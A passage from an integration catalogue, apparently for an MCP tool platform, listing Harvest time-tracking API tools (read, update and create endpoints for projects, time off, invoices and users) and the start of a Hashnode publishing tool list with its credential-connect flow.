/api/v1/harvest/projects/{PROJECT_ID}/user_assignments. Scopes: api. harvest_get_v2_projects_by_project_id_user_assignments_by_user_assignment_id (read) — Retrieves the user assignment with the given ID. Returns a user assignment object and a 200 OK response code if a valid identifier was provided. via GET /v2/projects/{PROJECT_ID}/user_assignments/{USER_ASSIGNMENT_ID} GET /api/v1/harvest/projects/{PROJECT_ID}/user_assignments/{USER_ASSIGNMENT_ID}. Scopes: api. harvest_get_v2_pto_allocations (read) — Returns a list of customized and yearly time off allocations across users. The response contains an object with a pto_allocations property that contains an array of up to per_page allocations. via GET /v2/pto/allocations GET /api/v1/harvest/pto/allocations. Scopes: api. harvest_get_v2_pto_assignments (read) — Returns a list of users alongside their assigned holiday calendars, assigned work schedules, and effective working hours. via GET /v2/pto/assignments GET /api/v1/harvest/pto/assignments. Scopes: api. harvest_get_v2_pto_balances (read) — Returns time off balances broken down per policy for a specific user and year. via GET /v2/pto/balances GET /api/v1/harvest/pto/balances. Scopes: api. harvest_get_v2_pto_holiday_calendars (read) — Returns a list of holiday calendars. The response contains an object with a pto_holiday_calendars property that contains an array of up to per_page holiday calendars. Each entry in the array is a separate holiday calendar object. If no more calendars are available, the resulting array will be empty. Several additional pagination properties are included in the response to simplify paginating your calendars. via GET /v2/pto/holiday_calendars GET /api/v1/harvest/pto/holiday_calendars. Scopes: api. harvest_get_v2_pto_holiday_calendars_by_holiday_calendar_id (read) — Retrieves the details of an existing holiday calendar. Returns a holiday calendar object and a 200 OK response code. via GET /v2/pto/holiday_calendars/{HOLIDAY_CALENDAR_ID} GET /api/v1/harvest/pto/holiday_calendars/{HOLIDAY_CALENDAR_ID}. Scopes: api. harvest_get_v2_pto_holiday_calendars_by_holiday_calendar_id_entries (read) — Returns a list of holiday entries for the calendar identified by HOLIDAY_CALENDAR_ID . The response contains an object with a pto_holiday_calendar_entries property that contains an array of up to per_page entries. via GET /v2/pto/holiday_calendars/{HOLIDAY_CALENDAR_ID}/entries GET /api/v1/harvest/pto/holiday_calendars/{HOLIDAY_CALENDAR_ID}/entries. Scopes: api. harvest_get_v2_pto_requests (read) — Returns a list of time off requests. The response contains an object with a pto_requests property that contains an array of up to per_page time off requests. Each entry in the array is a separate time off request object. If no more requests are available, the resulting array will be empty. Several additional pagination properties are included in the response to simplify paginating your requests. via GET /v2/pto/requests GET /api/v1/harvest/pto/requests. Scopes: api. harvest_get_v2_pto_requests_by_pto_request_id (read) — Retrieves the details of an existing time off request. Returns a time off request object and a 200 OK response code. via GET /v2/pto/requests/{PTO_REQUEST_ID} GET /api/v1/harvest/pto/requests/{PTO_REQUEST_ID}. Scopes: api. harvest_get_v2_pto_types (read) — Returns a list of time off policies. The response contains an object with a pto_types property that contains an array of up to per_page time off policies. Each entry in the array is a separate time off policy object. If no more policies are available, the resulting array will be empty. Several additional pagination properties are included in the response to simplify paginating your policies. via GET /v2/pto/types GET /api/v1/harvest/pto/types. Scopes: api. harvest_get_v2_pto_types_by_pto_type_id (read) — Retrieves the details of an existing time off policy. Returns a time off policy object and a 200 OK response code. via GET /v2/pto/types/{PTO_TYPE_ID} GET /api/v1/harvest/pto/types/{PTO_TYPE_ID}. Scopes: api. harvest_get_v2_pto_work_schedules (read) — Returns a list of work schedules. The response contains an object with a pto_work_schedules property that contains an array of up to per_page work schedules. via GET /v2/pto/work_schedules GET /api/v1/harvest/pto/work_schedules. Scopes: api. harvest_get_v2_pto_work_schedules_by_work_schedule_id (read) — Retrieves the details of an existing work schedule. Returns a work schedule object and a 200 OK response code. via GET /v2/pto/work_schedules/{WORK_SCHEDULE_ID} GET /api/v1/harvest/pto/work_schedules/{WORK_SCHEDULE_ID}. Scopes: api. harvest_get_v2_reports_expenses_categories (read) — Expense Categories Report via GET /v2/reports/expenses/categories GET /api/v1/harvest/reports/expenses/categories. Scopes: api. harvest_get_v2_reports_expenses_clients (read) — Clients Expense Report via GET /v2/reports/expenses/clients GET /api/v1/harvest/reports/expenses/clients. Scopes: api. harvest_get_v2_reports_expenses_projects (read) — Projects Expense Report via GET /v2/reports/expenses/projects GET /api/v1/harvest/reports/expenses/projects. Scopes: api. harvest_get_v2_reports_expenses_team (read) — Team Expense Report via GET /v2/reports/expenses/team GET /api/v1/harvest/reports/expenses/team. Scopes: api. harvest_get_v2_reports_project_budget (read) — The response contains an object with a results property that contains an array of up to per_page results. Each entry in the array is a separate result object. If no more results are available, the resulting array will be empty. Several additional pagination properties are included in the response to simplify paginating your results. via GET /v2/reports/project_budget GET /api/v1/harvest/reports/project_budget. Scopes: api. harvest_get_v2_reports_time_clients (read) — Clients Time Report via GET /v2/reports/time/clients GET /api/v1/harvest/reports/time/clients. Scopes: api. harvest_get_v2_reports_time_projects (read) — Projects Time Report via GET /v2/reports/time/projects GET /api/v1/harvest/reports/time/projects. Scopes: api. harvest_get_v2_reports_time_tasks (read) — Tasks Report via GET /v2/reports/time/tasks GET /api/v1/harvest/reports/time/tasks. Scopes: api. harvest_get_v2_reports_time_team (read) — Team Time Report via GET /v2/reports/time/team GET /api/v1/harvest/reports/time/team. Scopes: api. harvest_get_v2_reports_uninvoiced (read) — The response contains an object with a results property that contains an array of up to per_page results. Each entry in the array is a separate result object. If no more results are available, the resulting array will be empty. Several additional pagination properties are included in the response to simplify paginating your results. Note: Each request requires both the from and to parameters to be supplied in the URL’s query string. The timeframe supplied cannot exceed 1 year (365 days). via GET /v2/reports/uninvoiced GET /api/v1/harvest/reports/uninvoiced. Scopes: api. harvest_get_v2_roles (read) — Returns a list of roles in the account. The roles are returned sorted by creation date, with the most recently created roles appearing first. The response contains an object with a roles property that contains an array of up to per_page roles. Each entry in the array is a separate role object. If no more roles are available, the resulting array will be empty. Several additional pagination properties are included in the response to simplify paginating your roles. via GET /v2/roles GET /api/v1/harvest/roles. Scopes: api. harvest_get_v2_roles_by_role_id (read) — Retrieves the role with the given ID. Returns a role object and a 200 OK response code if a valid identifier was provided. via GET /v2/roles/{ROLE_ID} GET /api/v1/harvest/roles/{ROLE_ID}. Scopes: api. harvest_get_v2_task_assignments (read) — Returns a list of your task assignments. The task assignments are returned sorted by creation date, with the most recently created task assignments appearing first. The response contains an object with a task_assignments property that contains an array of up to per_page task assignments. Each entry in the array is a separate task assignment object. If no more task assignments are available, the resulting array will be empty. Several additional pagination properties are included in the response to simplify paginating your task assignments. via GET /v2/task_assignments GET /api/v1/harvest/task_assignments. Scopes: api. harvest_get_v2_tasks (read) — Returns a list of your tasks. The tasks are returned sorted by creation date, with the most recently created tasks appearing first. The response contains an object with a tasks property that contains an array of up to per_page tasks. Each entry in the array is a separate task object. If no more tasks are available, the resulting array will be empty. Several additional pagination properties are included in the response to simplify paginating your tasks. via GET /v2/tasks GET /api/v1/harvest/tasks. Scopes: api. harvest_get_v2_tasks_by_task_id (read) — Retrieves the task with the given ID. Returns a task object and a 200 OK response code if a valid identifier was provided. via GET /v2/tasks/{TASK_ID} GET /api/v1/harvest/tasks/{TASK_ID}. Scopes: api. harvest_get_v2_time_entries (read) — Returns a list of time entries. The time entries are returned sorted by spent_date date. At this time, the sort option can’t be customized. The response contains an object with a time_entries property that contains an array of up to per_page time entries. Each entry in the array is a separate time entry object. If no more time entries are available, the resulting array will be empty. Several additional pagination properties are included in the response to simplify paginating your time entries. via GET /v2/time_entries GET /api/v1/harvest/time_entries. Scopes: api. harvest_get_v2_time_entries_by_time_entry_id (read) — Retrieves the time entry with the given ID. Returns a time entry object and a 200 OK response code if a valid identifier was provided. via GET /v2/time_entries/{TIME_ENTRY_ID} GET /api/v1/harvest/time_entries/{TIME_ENTRY_ID}. Scopes: api. harvest_get_v2_user_assignments (read) — Returns a list of your projects user assignments, active and archived. The user assignments are returned sorted by creation date, with the most recently created user assignments appearing first. The response contains an object with a user_assignments property that contains an array of up to per_page user assignments. Each entry in the array is a separate user assignment object. If no more user assignments are available, the resulting array will be empty. Several additional pagination properties are included in the response to simplify paginating your user assignments. via GET /v2/user_assignments GET /api/v1/harvest/user_assignments. Scopes: api. harvest_get_v2_users (read) — Returns a list of your users. The users are returned sorted by creation date, with the most recently created users appearing first. The response contains an object with a users property that contains an array of up to per_page users. Each entry in the array is a separate user object. If no more users are available, the resulting array will be empty. Several additional pagination properties are included in the response to simplify paginating your users. via GET /v2/users GET /api/v1/harvest/users. Scopes: api. harvest_get_v2_users_by_user_id (read) — Retrieves the user with the given ID. Returns a user object and a 200 OK response code if a valid identifier was provided. via GET /v2/users/{USER_ID} GET /api/v1/harvest/users/{USER_ID}. Scopes: api. harvest_get_v2_users_by_user_id_billable_rates (read) — Returns a list of billable rates for the user identified by USER_ID . The billable rates are returned sorted by start_date , with the oldest starting billable rates appearing first. The response contains an object with a billable_rates property that contains an array of up to per_page billable rates. Each entry in the array is a separate billable rate object. If no more billable rates are available, the resulting array will be empty. Several additional pagination properties are included in the response to simplify paginating your billable rates. via GET /v2/users/{USER_ID}/billable_rates GET /api/v1/harvest/users/{USER_ID}/billable_rates. Scopes: api. harvest_get_v2_users_by_user_id_billable_rates_by_billable_rate_id (read) — Retrieves the billable rate with the given ID. Returns a billable rate object and a 200 OK response code if a valid identifier was provided. via GET /v2/users/{USER_ID}/billable_rates/{billable_RATE_ID} GET /api/v1/harvest/users/{USER_ID}/billable_rates/{billable_RATE_ID}. Scopes: api. harvest_get_v2_users_by_user_id_cost_rates (read) — Returns a list of cost rates for the user identified by USER_ID . The cost rates are returned sorted by start_date , with the oldest starting cost rates appearing first. The response contains an object with a cost_rates property that contains an array of up to per_page cost rates. Each entry in the array is a separate cost rate object. If no more cost rates are available, the resulting array will be empty. Several additional pagination properties are included in the response to simplify paginating your cost rates. via GET /v2/users/{USER_ID}/cost_rates GET /api/v1/harvest/users/{USER_ID}/cost_rates. Scopes: api. harvest_get_v2_users_by_user_id_cost_rates_by_cost_rate_id (read) — Retrieves the cost rate with the given ID. Returns a cost rate object and a 200 OK response code if a valid identifier was provided. via GET /v2/users/{USER_ID}/cost_rates/{COST_RATE_ID} GET /api/v1/harvest/users/{USER_ID}/cost_rates/{COST_RATE_ID}. Scopes: api. harvest_get_v2_users_by_user_id_project_assignments (read) — Returns a list of active project assignments for the user identified by USER_ID . The project assignments are returned sorted by creation date, with the most recently created project assignments appearing first. The response contains an object with a project_assignments property that contains an array of up to per_page project assignments. Each entry in the array is a separate project assignment object. If no more project assignments are available, the resulting array will be empty. Several additional pagination properties are included in the response to simplify paginating your project assignments. via GET /v2/users/{USER_ID}/project_assignments GET /api/v1/harvest/users/{USER_ID}/project_assignments. Scopes: api. harvest_get_v2_users_by_user_id_teammates (read) — Returns a list of assigned teammates for the user identified by USER_ID . The USER_ID must belong to a user that is a Manager, if not, a 422 Unprocessable Entity status code will be returned. The response contains an object with a teammates property that contains an array of up to per_page teammates. Each entry in the array is a separate teammate object. If no more teammates are available, the resulting array will be empty. Several additional pagination properties are included in the response to simplify paginating your teammates. via GET /v2/users/{USER_ID}/teammates GET /api/v1/harvest/users/{USER_ID}/teammates. Scopes: api. harvest_get_v2_users_me (read) — Retrieves the currently authenticated user. Returns a user object and a 200 OK response code. via GET /v2/users/me GET /api/v1/harvest/users/me. Scopes: api. harvest_get_v2_users_me_project_assignments (read) — Returns a list of your active project assignments for the currently authenticated user. The project assignments are returned sorted by creation date, with the most recently created project assignments appearing first. The response contains an object with a project_assignments property that contains an array of up to per_page project assignments. Each entry in the array is a separate project assignment object. If no more project assignments are available, the resulting array will be empty. Several additional pagination properties are included in the response to simplify paginating your project assignments. via GET /v2/users/me/project_assignments GET /api/v1/harvest/users/me/project_assignments. Scopes: api. harvest_patch_v2_clients_by_client_id (write) — Updates the specific client by setting the values of the parameters passed. Any parameters not provided will be left unchanged. Returns a client object and a 200 OK response code if the call succeeded. via PATCH /v2/clients/{CLIENT_ID} PATCH /api/v1/harvest/clients/{CLIENT_ID}. Scopes: api. harvest_patch_v2_company (write) — Updates the company setting the values of the parameters passed. Any parameters not provided will be left unchanged. Returns a company object and a 200 OK response code if the call succeeded. via PATCH /v2/company PATCH /api/v1/harvest/company. Scopes: api. harvest_patch_v2_contacts_by_contact_id (write) — Updates the specific contact by setting the values of the parameters passed. Any parameters not provided will be left unchanged. Returns a contact object and a 200 OK response code if the call succeeded. via PATCH /v2/contacts/{CONTACT_ID} PATCH /api/v1/harvest/contacts/{CONTACT_ID}. Scopes: api. harvest_patch_v2_estimate_item_categories_by_estimate_item_category_id (write) — Updates the specific estimate item category by setting the values of the parameters passed. Any parameters not provided will be left unchanged. Returns an estimate item category object and a 200 OK response code if the call succeeded. via PATCH /v2/estimate_item_categories/{ESTIMATE_ITEM_CATEGORY_ID} PATCH /api/v1/harvest/estimate_item_categories/{ESTIMATE_ITEM_CATEGORY_ID}. Scopes: api. harvest_patch_v2_estimates_by_estimate_id (write) — Updates the specific estimate by setting the values of the parameters passed. Any parameters not provided will be left unchanged. Returns an estimate object and a 200 OK response code if the call succeeded. via PATCH /v2/estimates/{ESTIMATE_ID} PATCH /api/v1/harvest/estimates/{ESTIMATE_ID}. Scopes: api. harvest_patch_v2_expense_categories_by_expense_category_id (write) — Updates the specific expense category by setting the values of the parameters passed. Any parameters not provided will be left unchanged. Returns an expense category object and a 200 OK response code if the call succeeded. via PATCH /v2/expense_categories/{EXPENSE_CATEGORY_ID} PATCH /api/v1/harvest/expense_categories/{EXPENSE_CATEGORY_ID}. Scopes: api. harvest_patch_v2_expenses_by_expense_id (write) — Updates the specific expense by setting the values of the parameters passed. Any parameters not provided will be left unchanged. Returns an expense object and a 200 OK response code if the call succeeded. Note that changes to project_id and expense_category_id will be silently dropped if the expense is locked. Users with sufficient permissions are able to update the rest of a locked expense’s attributes. via PATCH /v2/expenses/{EXPENSE_ID} PATCH /api/v1/harvest/expenses/{EXPENSE_ID}. Scopes: api. harvest_patch_v2_invoice_item_categories_by_invoice_item_category_id (write) — Updates the specific invoice item category by setting the values of the parameters passed. Any parameters not provided will be left unchanged. Returns an invoice item category object and a 200 OK response code if the call succeeded. via PATCH /v2/invoice_item_categories/{INVOICE_ITEM_CATEGORY_ID} PATCH /api/v1/harvest/invoice_item_categories/{INVOICE_ITEM_CATEGORY_ID}. Scopes: api. harvest_patch_v2_invoices_by_invoice_id (write) — Updates the specific invoice by setting the values of the parameters passed. Any parameters not provided will be left unchanged. Returns an invoice object and a 200 OK response code if the call succeeded. via PATCH /v2/invoices/{INVOICE_ID} PATCH /api/v1/harvest/invoices/{INVOICE_ID}. Scopes: api. harvest_patch_v2_projects_by_project_id (write) — Updates the specific project by setting the values of the parameters passed. Any parameters not provided will be left unchanged. Returns a project object and a 200 OK response code if the call succeeded. via PATCH /v2/projects/{PROJECT_ID} PATCH /api/v1/harvest/projects/{PROJECT_ID}. Scopes: api. harvest_patch_v2_projects_by_project_id_task_assignments_by_task_assignment_id (write) — Updates the specific task assignment by setting the values of the parameters passed. Any parameters not provided will be left unchanged. Returns a task assignment object and a 200 OK response code if the call succeeded. via PATCH /v2/projects/{PROJECT_ID}/task_assignments/{TASK_ASSIGNMENT_ID} PATCH /api/v1/harvest/projects/{PROJECT_ID}/task_assignments/{TASK_ASSIGNMENT_ID}. Scopes: api. harvest_patch_v2_projects_by_project_id_user_assignments_by_user_assignment_id (write) — Updates the specific user assignment by setting the values of the parameters passed. Any parameters not provided will be left unchanged. Returns a user assignment object and a 200 OK response code if the call succeeded. via PATCH /v2/projects/{PROJECT_ID}/user_assignments/{USER_ASSIGNMENT_ID} PATCH /api/v1/harvest/projects/{PROJECT_ID}/user_assignments/{USER_ASSIGNMENT_ID}. Scopes: api. harvest_patch_v2_pto_allocations (write) — Updates or resets per-user yearly allocation overrides. Returns an allocation object and a 200 OK response code when customized overrides are present or saved. When an allocation is reset to defaults (either by passing reset_to_default: true or when the submitted values match the policy defaults), the allocation override record is removed and a reset confirmation object is returned instead. via PATCH /v2/pto/allocations PATCH /api/v1/harvest/pto/allocations. Scopes: api. harvest_patch_v2_pto_assignments_by_user_id (write) — Assigns or unassigns a holiday calendar and work schedule for a specific user. Returns an assignment object and a 200 OK response code. via PATCH /v2/pto/assignments/{USER_ID} PATCH /api/v1/harvest/pto/assignments/{USER_ID}. Scopes: api. harvest_patch_v2_pto_holiday_calendars_by_holiday_calendar_id (write) — Updates an existing holiday calendar. Returns a holiday calendar object and a 200 OK response code if the call succeeded. Only administrators can perform this action. via PATCH /v2/pto/holiday_calendars/{HOLIDAY_CALENDAR_ID} PATCH /api/v1/harvest/pto/holiday_calendars/{HOLIDAY_CALENDAR_ID}. Scopes: api. harvest_patch_v2_pto_holiday_calendars_by_holiday_calendar_id_entries_by_entry_id (write) — Updates an existing holiday calendar entry. Returns a holiday entry object and a 200 OK response code. Only administrators can perform this action. via PATCH /v2/pto/holiday_calendars/{HOLIDAY_CALENDAR_ID}/entries/{ENTRY_ID} PATCH /api/v1/harvest/pto/holiday_calendars/{HOLIDAY_CALENDAR_ID}/entries/{ENTRY_ID}. Scopes: api. harvest_patch_v2_pto_requests_by_pto_request_id (write) — Updates an unreviewed time off request. Only pending or changes_requested requests can be edited. Updating a request cancels the original request and returns a new replacement request object with a new id and a 200 OK response code. via PATCH /v2/pto/requests/{PTO_REQUEST_ID} PATCH /api/v1/harvest/pto/requests/{PTO_REQUEST_ID}. Scopes: api. harvest_patch_v2_pto_types_by_pto_type_id (write) — Updates an existing time off policy. Returns a time off policy object and a 200 OK response code if the call succeeded. Only administrators can perform this action. via PATCH /v2/pto/types/{PTO_TYPE_ID} PATCH /api/v1/harvest/pto/types/{PTO_TYPE_ID}. Scopes: api. harvest_patch_v2_pto_work_schedules_by_work_schedule_id (write) — Updates an existing work schedule. Returns a work schedule object and a 200 OK response code. Only administrators can perform this action. via PATCH /v2/pto/work_schedules/{WORK_SCHEDULE_ID} PATCH /api/v1/harvest/pto/work_schedules/{WORK_SCHEDULE_ID}. Scopes: api. harvest_patch_v2_roles_by_role_id (write) — Updates the specific role by setting the values of the parameters passed. Any parameters not provided will be left unchanged. Returns a role object and a 200 OK response code if the call succeeded. via PATCH /v2/roles/{ROLE_ID} PATCH /api/v1/harvest/roles/{ROLE_ID}. Scopes: api. harvest_patch_v2_tasks_by_task_id (write) — Updates the specific task by setting the values of the parameters passed. Any parameters not provided will be left unchanged. Returns a task object and a 200 OK response code if the call succeeded. via PATCH /v2/tasks/{TASK_ID} PATCH /api/v1/harvest/tasks/{TASK_ID}. Scopes: api. harvest_patch_v2_time_entries_by_time_entry_id (write) — Updates the specific time entry by setting the values of the parameters passed. Any parameters not provided will be left unchanged. Returns a time entry object and a 200 OK response code if the call succeeded. via PATCH /v2/time_entries/{TIME_ENTRY_ID} PATCH /api/v1/harvest/time_entries/{TIME_ENTRY_ID}. Scopes: api. harvest_patch_v2_time_entries_by_time_entry_id_restart (write) — Restarting a time entry is only possible if it isn’t currently running. Returns a 200 OK response code if the call succeeded. via PATCH /v2/time_entries/{TIME_ENTRY_ID}/restart PATCH /api/v1/harvest/time_entries/{TIME_ENTRY_ID}/restart. Scopes: api. harvest_patch_v2_time_entries_by_time_entry_id_stop (write) — Stopping a time entry is only possible if it’s currently running. Returns a 200 OK response code if the call succeeded. via PATCH /v2/time_entries/{TIME_ENTRY_ID}/stop PATCH /api/v1/harvest/time_entries/{TIME_ENTRY_ID}/stop. Scopes: api. harvest_patch_v2_users_by_user_id (write) — Updates the specific user by setting the values of the parameters passed. Any parameters not provided will be left unchanged. Returns a user object and a 200 OK response code if the call succeeded. via PATCH /v2/users/{USER_ID} PATCH /api/v1/harvest/users/{USER_ID}. Scopes: api. harvest_patch_v2_users_by_user_id_teammates (write) — Updates the the assigned teammates for a specific user. Returns list of assigned teammates and a 200 OK response code if the call succeeded. The USER_ID must belong to a user that is a Manager, if not, a 422 Unprocessable Entity status code will be returned. Adding teammates for the first time will add the people_manager access role to the Manager. Any IDs not included in the teammate_ids that are currently assigned will be unassigned from the Manager. Use an empty array to unassign all users. This will also remove the people_manager access role from the Manager. via PATCH /v2/users/{USER_ID}/teammates PATCH /api/v1/harvest/users/{USER_ID}/teammates. Scopes: api. harvest_post_v2_clients (write) — Creates a new client object. Returns a client object and a 201 Created response code if the call succeeded. via POST /v2/clients POST /api/v1/harvest/clients. Scopes: api. harvest_post_v2_contacts (write) — Creates a new contact object. Returns a contact object and a 201 Created response code if the call succeeded. via POST /v2/contacts POST /api/v1/harvest/contacts. Scopes: api. harvest_post_v2_estimate_item_categories (write) — Creates a new estimate item category object. Returns an estimate item category object and a 201 Created response code if the call succeeded. via POST /v2/estimate_item_categories POST /api/v1/harvest/estimate_item_categories. Scopes: api. harvest_post_v2_estimates (write) — Creates a new estimate object. Returns an estimate object and a 201 Created response code if the call succeeded. via POST /v2/estimates POST /api/v1/harvest/estimates. Scopes: api. harvest_post_v2_estimates_by_estimate_id_messages (write) — Creates a new estimate message object. Returns an estimate message object and a 201 Created response code if the call succeeded. via POST /v2/estimates/{estimate_ID}/messages POST /api/v1/harvest/estimates/{estimate_ID}/messages. Scopes: api. harvest_post_v2_expense_categories (write) — Creates a new expense category object. Returns an expense category object and a 201 Created response code if the call succeeded. via POST /v2/expense_categories POST /api/v1/harvest/expense_categories. Scopes: api. harvest_post_v2_expenses (write) — Creates a new expense object. Returns an expense object and a 201 Created response code if the call succeeded. via POST /v2/expenses POST /api/v1/harvest/expenses. Scopes: api. harvest_post_v2_invoice_item_categories (write) — Creates a new invoice item category object. Returns an invoice item category object and a 201 Created response code if the call succeeded. via POST /v2/invoice_item_categories POST /api/v1/harvest/invoice_item_categories. Scopes: api. harvest_post_v2_invoices (write) — Creates a new invoice object. Returns an invoice object and a 201 Created response code if the call succeeded. via POST /v2/invoices POST /api/v1/harvest/invoices. Scopes: api. harvest_post_v2_invoices_by_invoice_id_messages (write) — Creates a new invoice message object and sends it. Returns an invoice message object and a 201 Created response code if the call succeeded. A note about the optional event_type parameter: If event_type is omitted in a request, its default value of null means the message will be sent. In such a request, if the recipients array is omitted or empty and send_me_a_copy is also omitted or set to false , the request will fail because the message has no recipients. When omitting event_type to create and send a message, be sure to include a recipients array as a parameter or ensure the send_me_a_copy parameter is included and set to true. via POST /v2/invoices/{INVOICE_ID}/messages POST /api/v1/harvest/invoices/{INVOICE_ID}/messages. Scopes: api. harvest_post_v2_invoices_by_invoice_id_payments (write) — Creates a new invoice payment object. Returns an invoice payment object and a 201 Created response code if the call succeeded. via POST /v2/invoices/{INVOICE_ID}/payments POST /api/v1/harvest/invoices/{INVOICE_ID}/payments. Scopes: api. harvest_post_v2_projects (write) — Creates a new project object. Returns a project object and a 201 Created response code if the call succeeded. via POST /v2/projects POST /api/v1/harvest/projects. Scopes: api. harvest_post_v2_projects_by_project_id_task_assignments (write) — Creates a new task assignment object. Returns a task assignment object and a 201 Created response code if the call succeeded. via POST /v2/projects/{PROJECT_ID}/task_assignments POST /api/v1/harvest/projects/{PROJECT_ID}/task_assignments. Scopes: api. harvest_post_v2_projects_by_project_id_user_assignments (write) — Creates a new user assignment object. Returns a user assignment object and a 201 Created response code if the call succeeded. via POST /v2/projects/{PROJECT_ID}/user_assignments POST /api/v1/harvest/projects/{PROJECT_ID}/user_assignments. Scopes: api. harvest_post_v2_pto_holiday_calendars (write) — Creates a new holiday calendar. Returns a holiday calendar object and a 201 Created response code if the call succeeded. Only administrators can perform this action. via POST /v2/pto/holiday_calendars POST /api/v1/harvest/pto/holiday_calendars. Scopes: api. harvest_post_v2_pto_holiday_calendars_by_holiday_calendar_id_entries (write) — Creates one or more holiday entries in a calendar. Supports a single date or a range of dates. Returns a 201 Created response code. Only administrators can perform this action. via POST /v2/pto/holiday_calendars/{HOLIDAY_CALENDAR_ID}/entries POST /api/v1/harvest/pto/holiday_calendars/{HOLIDAY_CALENDAR_ID}/entries. Scopes: api. harvest_post_v2_pto_requests (write) — Creates a new time off request. Returns a time off request object and a 201 Created response code if the call succeeded. via POST /v2/pto/requests POST /api/v1/harvest/pto/requests. Scopes: api. harvest_post_v2_pto_requests_by_pto_request_id_approve (write) — Approves a pending or changes_requested request. Returns a time off request object and a 200 OK response code. Only administrators can perform this action. via POST /v2/pto/requests/{PTO_REQUEST_ID}/approve POST /api/v1/harvest/pto/requests/{PTO_REQUEST_ID}/approve. Scopes: api. harvest_post_v2_pto_requests_by_pto_request_id_decline (write) — Declines a time off request. Returns a time off request object and a 200 OK response code. Only administrators can perform this action. via POST /v2/pto/requests/{PTO_REQUEST_ID}/decline POST /api/v1/harvest/pto/requests/{PTO_REQUEST_ID}/decline. Scopes: api. harvest_post_v2_pto_requests_by_pto_request_id_request_changes (write) — Requests changes on a time off request. Returns a time off request object and a 200 OK response code. Only administrators can perform this action. via POST /v2/pto/requests/{PTO_REQUEST_ID}/request_changes POST /api/v1/harvest/pto/requests/{PTO_REQUEST_ID}/request_changes. Scopes: api. harvest_post_v2_pto_types (write) — Creates a new time off policy. Returns a time off policy object and a 201 Created response code if the call succeeded. Only administrators can perform this action. via POST /v2/pto/types POST /api/v1/harvest/pto/types. Scopes: api. harvest_post_v2_pto_work_schedules (write) — Creates a new work schedule. Returns a work schedule object and a 201 Created response code if the call succeeded. Only administrators can perform this action. via POST /v2/pto/work_schedules POST /api/v1/harvest/pto/work_schedules. Scopes: api. harvest_post_v2_roles (write) — Creates a new role object. Returns a role object and a 201 Created response code if the call succeeded. via POST /v2/roles POST /api/v1/harvest/roles. Scopes: api. harvest_post_v2_tasks (write) — Creates a new task object. Returns a task object and a 201 Created response code if the call succeeded. via POST /v2/tasks POST /api/v1/harvest/tasks. Scopes: api. harvest_post_v2_time_entries (write) — Creates a new time entry object. Returns a time entry object and a 201 Created response code if the call succeeded. You should only use this method to create time entries when your account is configured to track time via duration . You can verify this by visiting the Settings page in your Harvest account or by checking if wants_timestamp_timers is false in the Company API . via POST /v2/time_entries POST /api/v1/harvest/time_entries. Scopes: api. harvest_post_v2_users (write) — Creates a new user object and sends an invitation email to the address specified in the email parameter. Returns a user object and a 201 Created response code if the call succeeded. via POST /v2/users POST /api/v1/harvest/users. Scopes: api. harvest_post_v2_users_by_user_id_billable_rates (write) — Creates a new billable rate object. Returns a billable rate object and a 201 Created response code if the call succeeded. via POST /v2/users/{USER_ID}/billable_rates POST /api/v1/harvest/users/{USER_ID}/billable_rates. Scopes: api. harvest_post_v2_users_by_user_id_cost_rates (write) — Creates a new cost rate object. Returns a cost rate object and a 201 Created response code if the call succeeded. via POST /v2/users/{USER_ID}/cost_rates POST /api/v1/harvest/users/{USER_ID}/cost_rates. Scopes: api. ================================================================================ ## Hashnode URL: https://www.agenticfabriq.com/integrations/hashnode Section: Integrated Tools Hashnode — 24 MCP tools Provider key: hashnode. Scopes: api. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. hashnode_mutation_confirm_image_upload (write) — Confirm an image uploaded via the presigned PUT from Create Image Upload URL: verifies the object's size and DELETES it if over 8 MB (ok=false, cdnUrl null -- re-upload smaller). Always call this after the PUT; the cap is not enforced at upload time. Auth-only, not Pro-gated. via GraphQL mutation confirmImageUpload POST /api/v1/hashnode/mutation/confirmImageUpload. Scopes: api. hashnode_mutation_create_draft (write) — Create a draft in a publication without publishing (title, contentMarkdown, tags, series, SEO metaTags, cover image options; contributors' entry point). PRO-GATED at the provider: answers FORBIDDEN unless the target publication has an active (paid) Pro plan -- a provider limit, not a credential problem. via GraphQL mutation createDraft POST /api/v1/hashnode/mutation/createDraft. Scopes: api. hashnode_mutation_create_image_upload_u_r_l (write) — Mint a presigned upload target for an image (contentType must start with image/, no SVG, max 8 MB). Returns presignedPut {url, cdnUrl, key}: PUT the raw bytes to url, then call Confirm Image Upload with key; cdnUrl is the final servable address. Auth-only, not Pro-gated. via GraphQL mutation createImageUploadURL POST /api/v1/hashnode/mutation/createImageUploadURL. Scopes: api. hashnode_mutation_delete_draft (write, destructive) — Soft-delete a draft (sets it inactive). The draft's author can delete their own; owners/admins/authors can delete any draft in the publication. PRO-GATED at the provider: answers FORBIDDEN unless the target publication has an active (paid) Pro plan -- a provider limit, not a credential problem. via GraphQL mutation deleteDraft POST /api/v1/hashnode/mutation/deleteDraft. Scopes: api. hashnode_mutation_publish_draft (write) — Publish an existing draft as a post; the draft is soft-deleted by the provider once the post exists. PRO-GATED at the provider: answers FORBIDDEN unless the target publication has an active (paid) Pro plan -- a provider limit, not a credential problem. via GraphQL mutation publishDraft POST /api/v1/hashnode/mutation/publishDraft. Scopes: api. hashnode_mutation_publish_post (write) — Publish a new post directly to a publication (title + contentMarkdown required; tags max 15, coAuthors max 4, optional slug/SEO/series/backdating). PRO-GATED at the provider: answers FORBIDDEN unless the target publication has an active (paid) Pro plan -- a provider limit, not a credential problem. via GraphQL mutation publishPost POST /api/v1/hashnode/mutation/publishPost. Scopes: api. hashnode_mutation_reject_draft_submission (write) — Reject a draft previously submitted for review, returning it to its author. Publication owners, admins and authors only. PRO-GATED at the provider: answers FORBIDDEN unless the target publication has an active (paid) Pro plan -- a provider limit, not a credential problem. via GraphQL mutation rejectDraftSubmission POST /api/v1/hashnode/mutation/rejectDraftSubmission. Scopes: api. hashnode_mutation_remove_post (write, destructive) — Soft-delete a post: sets it inactive, drops it from feeds and listings, frees its slug. Role-restricted at the provider: the post's author or a publication admin only (co-authors get FORBIDDEN). Idempotent-safe: a second removal answers NOT_FOUND. PRO-GATED at the provider: answers FORBIDDEN unless the target publication has an active (paid) Pro plan -- a provider limit, not a 